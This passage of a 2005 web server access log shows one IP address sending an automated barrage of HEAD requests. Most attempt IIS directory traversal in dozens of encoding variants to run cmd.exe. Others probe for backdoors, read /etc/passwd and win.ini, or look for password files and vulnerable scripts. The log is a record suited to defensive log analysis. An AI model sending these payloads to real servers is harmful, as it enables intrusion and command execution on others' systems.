/adsamples/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:51 -0400] "HEAD /adsamples/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:52 -0400] "HEAD /adsamples/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:52 -0400] "HEAD /adsamples/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:52 -0400] "HEAD /adsamples/..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:52 -0400] "HEAD /adsamples/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:52 -0400] "HEAD /adsamples/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:52 -0400] "HEAD /adsamples/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:52 -0400] "HEAD /adsamples/..%u005c..%u005cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:52 -0400] "HEAD /adsamples/..%u002e..%u002e/winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:52 -0400] "HEAD /adsamples/..%u00255c..%u005cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:52 -0400] "HEAD /adsamples/..%u002f..%u002fwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:52 -0400] "HEAD /adsamples/..%u0025%u005c..%u0025%u005cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:52 -0400] "HEAD /_mem_bin/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:53 -0400] "HEAD /_mem_bin/..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:53 -0400] "HEAD /_mem_bin/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:53 -0400] "HEAD /_mem_bin/..%f8%80%80%80%af../..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:53 -0400] "HEAD /_mem_bin/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:53 -0400] "HEAD /_mem_bin/..%f0%80%80%af../..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:53 -0400] "HEAD /_mem_bin/..%e0%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:53 -0400] "HEAD /_mem_bin/..%e0%80%af../..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:53 -0400] "HEAD /_mem_bin/..%c1%pc../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:53 -0400] "HEAD /_mem_bin/..%c1%pc../..%c1%pc../..%c1%pc../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:53 -0400] "HEAD /_mem_bin/..%c1%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:53 -0400] "HEAD /_mem_bin/..%c1%af../..%c1%af../..%c1%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:54 -0400] "HEAD /_mem_bin/..%c1%9c/winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:54 -0400] "HEAD /_mem_bin/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:54 -0400] "HEAD /_mem_bin/..%c1%9c../..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:54 -0400] "HEAD /_mem_bin/..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:54 -0400] "HEAD /_mem_bin/..%c1%8s../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:54 -0400] "HEAD /_mem_bin/..%c1%8s../..%c1%8s../..%c1%8s../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:54 -0400] "HEAD /_mem_bin/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:54 -0400] "HEAD /_mem_bin/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:54 -0400] "HEAD /_mem_bin/..%C1%1C..%C1%1C..%C1%1C..%C1%1Cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:54 -0400] "HEAD /_mem_bin/..%c0%qf../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:54 -0400] "HEAD /_mem_bin/..%c0%qf../..%c0%qf../..%c0%qf../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:55 -0400] "HEAD /_mem_bin/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:55 -0400] "HEAD /_mem_bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:55 -0400] "HEAD /_mem_bin/..%C0%AF..%C0%AF..%C0%AF..%C0%AFwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:55 -0400] "HEAD /_mem_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:55 -0400] "HEAD /_mem_bin/..%c0%9v../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:55 -0400] "HEAD /_mem_bin/..%c0%9v../..%c0%9v../..%c0%9v../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:55 -0400] "HEAD /_mem_bin/..%255c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:55 -0400] "HEAD /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:55 -0400] "HEAD /_mem_bin/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:55 -0400] "HEAD /_mem_bin/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:55 -0400] "HEAD /_mem_bin/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:55 -0400] "HEAD /_mem_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:56 -0400] "HEAD /_mem_bin/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:56 -0400] "HEAD /_mem_bin/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:56 -0400] "HEAD /_mem_bin/..%252f..%252f..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:56 -0400] "HEAD /_mem_bin/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:56 -0400] "HEAD /_mem_bin/..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:56 -0400] "HEAD /_mem_bin/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:56 -0400] "HEAD /_mem_bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:56 -0400] "HEAD /_mem_bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:56 -0400] "HEAD /_mem_bin/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:56 -0400] "HEAD /_mem_bin/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:56 -0400] "HEAD /_mem_bin/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:56 -0400] "HEAD /_mem_bin/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:57 -0400] "HEAD /_mem_bin/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:57 -0400] "HEAD /_mem_bin/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:57 -0400] "HEAD /_mem_bin/..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:57 -0400] "HEAD /_mem_bin/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:57 -0400] "HEAD /_mem_bin/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:57 -0400] "HEAD /_mem_bin/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:57 -0400] "HEAD /_mem_bin/..%u005c..%u005cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:57 -0400] "HEAD /_mem_bin/..%u002e..%u002e/winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:57 -0400] "HEAD /_mem_bin/..%u00255c..%u005cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:57 -0400] "HEAD /_mem_bin/..%u002f..%u002fwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:57 -0400] "HEAD /_mem_bin/..%u0025%u005c..%u0025%u005cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:57 -0400] "HEAD /msadc/root.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:58 -0400] "HEAD /msadc/az.exe?/c+dir+c:\\ HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:58 -0400] "HEAD /scripts/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:58 -0400] "HEAD /scripts/..%c0%af../..%c0%af../..%c0%af../windows/system32/cmd.exe?/c+dir HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:58 -0400] "HEAD /scripts/..%c0%af../..%c0%af../..%c0%af../win2000/system32/cmd.exe?/c+dir HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:58 -0400] "HEAD /cgi-bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:58 -0400] "HEAD /cgi-bin/..%c0%af../..%c0%af../..%c0%af../windows/system32/cmd.exe?/c+dir HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:58 -0400] "HEAD /cgi-bin/..%c0%af../..%c0%af../..%c0%af../win2000/system32/cmd.exe?/c+dir HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:58 -0400] "HEAD /msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:58 -0400] "HEAD /msadc/..%c0%af../..%c0%af../..%c0%af../windows/system32/cmd.exe?/c+dir HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:58 -0400] "HEAD /msadc/..%c0%af../..%c0%af../..%c0%af../win2000/system32/cmd.exe?/c+dir HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:58 -0400] "HEAD /..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:59 -0400] "HEAD /..%c0%af../..%c0%af../..%c0%af../windows/system32/cmd.exe?/c+dir HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:59 -0400] "HEAD /..%c0%af../..%c0%af../..%c0%af../win2000/system32/cmd.exe?/c+dir HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:59 -0400] "HEAD /iisadmpwd/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:59 -0400] "HEAD /iisadmpwd/..%c0%af../..%c0%af../..%c0%af../windows/system32/cmd.exe?/c+dir HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:59 -0400] "HEAD /iisadmpwd/..%c0%af../..%c0%af../..%c0%af../win2000/system32/cmd.exe?/c+dir HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:59 -0400] "HEAD /cgi/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:59 -0400] "HEAD /cgi/..%c0%af../..%c0%af../..%c0%af../windows/system32/cmd.exe?/c+dir HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:59 -0400] "HEAD /cgi/..%c0%af../..%c0%af../..%c0%af../win2000/system32/cmd.exe?/c+dir HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:59 -0400] "HEAD /_vti_bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:59 -0400] "HEAD /_vti_bin/..%c0%af../..%c0%af../..%c0%af../windows/system32/cmd.exe?/c+dir HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:59 -0400] "HEAD /_vti_bin/..%c0%af../..%c0%af../..%c0%af../win2000/system32/cmd.exe?/c+dir HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:00 -0400] "HEAD /scripts/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:00 -0400] "HEAD /scripts/..%255c..%255c..%255c..%255cwindows/system32/cmd.exe?/c+dir HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:00 -0400] "HEAD /scripts/..%255c..%255c..%255c..%255cwin2000/system32/cmd.exe?/c+dir HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:00 -0400] "HEAD /cgi-bin/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:00 -0400] "HEAD /cgi-bin/..%255c..%255c..%255c..%255cwindows/system32/cmd.exe?/c+dir HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:00 -0400] "HEAD /cgi-bin/..%255c..%255c..%255c..%255cwin2000/system32/cmd.exe?/c+dir HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:00 -0400] "HEAD /msadc/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:00 -0400] "HEAD /msadc/..%255c..%255c..%255c..%255cwindows/system32/cmd.exe?/c+dir HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:00 -0400] "HEAD /msadc/..%255c..%255c..%255c..%255cwin2000/system32/cmd.exe?/c+dir HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:00 -0400] "HEAD /..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:00 -0400] "HEAD /..%255c..%255c..%255c..%255cwindows/system32/cmd.exe?/c+dir HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:00 -0400] "HEAD /..%255c..%255c..%255c..%255cwin2000/system32/cmd.exe?/c+dir HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:01 -0400] "HEAD /iisadmpwd/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:01 -0400] "HEAD /iisadmpwd/..%255c..%255c..%255c..%255cwindows/system32/cmd.exe?/c+dir HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:01 -0400] "HEAD /iisadmpwd/..%255c..%255c..%255c..%255cwin2000/system32/cmd.exe?/c+dir HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:01 -0400] "HEAD /cgi/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:01 -0400] "HEAD /cgi/..%255c..%255c..%255c..%255cwindows/system32/cmd.exe?/c+dir HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:01 -0400] "HEAD /cgi/..%255c..%255c..%255c..%255cwin2000/system32/cmd.exe?/c+dir HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:01 -0400] "HEAD /_vti_bin/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:01 -0400] "HEAD /_vti_bin/..%255c..%255c..%255c..%255cwindows/system32/cmd.exe?/c+dir HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:01 -0400] "HEAD /_vti_bin/..%255c..%255c..%255c..%255cwin2000/system32/cmd.exe?/c+dir HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:01 -0400] "HEAD /global.asa+.htr HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:01 -0400] "HEAD /global.asa%3F+.htr HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:02 -0400] "HEAD /global.asa HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:02 -0400] "HEAD /msadc/Samples/Selector/showcode.asp HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:02 -0400] "HEAD /iissamples/exair/howitworks/codebrws.asp HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:02 -0400] "HEAD /iissamples/sdk/asp/docs/codebrws.asp HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:02 -0400] "HEAD /scripts/iisadmin/bdir.htr HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:02 -0400] "HEAD /demon.idq HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:02 -0400] "HEAD /demon.ida HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:02 -0400] "HEAD /demon.idc HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:02 -0400] "HEAD /cgi-bin/htimage.exe HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:02 -0400] "HEAD /scripts/htimage.exe HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:02 -0400] "HEAD /_vti_bin/shtml.dll/demon.html HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:02 -0400] "HEAD /null.htw HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:03 -0400] "HEAD /scripts/UploadExt.dll HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:03 -0400] "HEAD /scripts/cpshost.dll HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:03 -0400] "HEAD /../../../../../../scandisk.log HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:03 -0400] "HEAD /.../.../.../.../.../.../scandisk.log HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:03 -0400] "HEAD /pbserver/pbserver.dll HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:03 -0400] "HEAD /.\"./.\"./.\"./.\"./.\"./.\"./winnt/win.ini%20.php3 HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:03 -0400] "HEAD /scripts/iisadmin/ism.dll HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:03 -0400] "HEAD /iisadmpwd/aexp4.htr HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:03 -0400] "HEAD /iisadmin/iis.asp HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:03 -0400] "HEAD /msadc/Samples/Selector/Client/IE/adcauto.asp HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:03 -0400] "HEAD /iissamples/sdk/asp/interaction/ServerVariables_Jscript.asp HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:04 -0400] "HEAD /scripts/tools/mkilog.exe HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:04 -0400] "HEAD /_vti_bin/_vti_aut/dvwssr.dll HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:04 -0400] "HEAD /scripts/tools/newdsn.exe HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:04 -0400] "HEAD /....../autoexec.bat HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:04 -0400] "HEAD /..../autoexec.bat HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:04 -0400] "HEAD /_vti_bin/shtml.dll/_vti_rpc HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:04 -0400] "HEAD /cgi-bin/DCShop/Orders/orders.txt HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:04 -0400] "HEAD /cgi-bin/DCShop/Auth_data/auth_user_file.txt HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:04 -0400] "HEAD /SWEditServlet?station_path=Z&publication_id=2043&template=../../../../../../../../../../../etc/passwd HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:04 -0400] "HEAD /tarantella/cgi-bin/ttawebtop.cgi/?action=start&pg=../../../../../../../../../../../../../../../etc/passwd HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:04 -0400] "HEAD /cgi-bin/udirectory.pl?MAIN_FIELD=blah&command=add_new_listing&category_file=/../../../../../../../bin/ping HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:04 -0400] "HEAD /sam._ HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:05 -0400] "HEAD /wwwboard/passwd.txt HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:05 -0400] "HEAD /webboard/passwd.txt HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:05 -0400] "HEAD /password HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:05 -0400] "HEAD /password.txt HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:05 -0400] "HEAD /.../ HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:05 -0400] "HEAD /servlet/com.unify.ewave.servletexec.UploadServlet HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:05 -0400] "HEAD /.... HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - 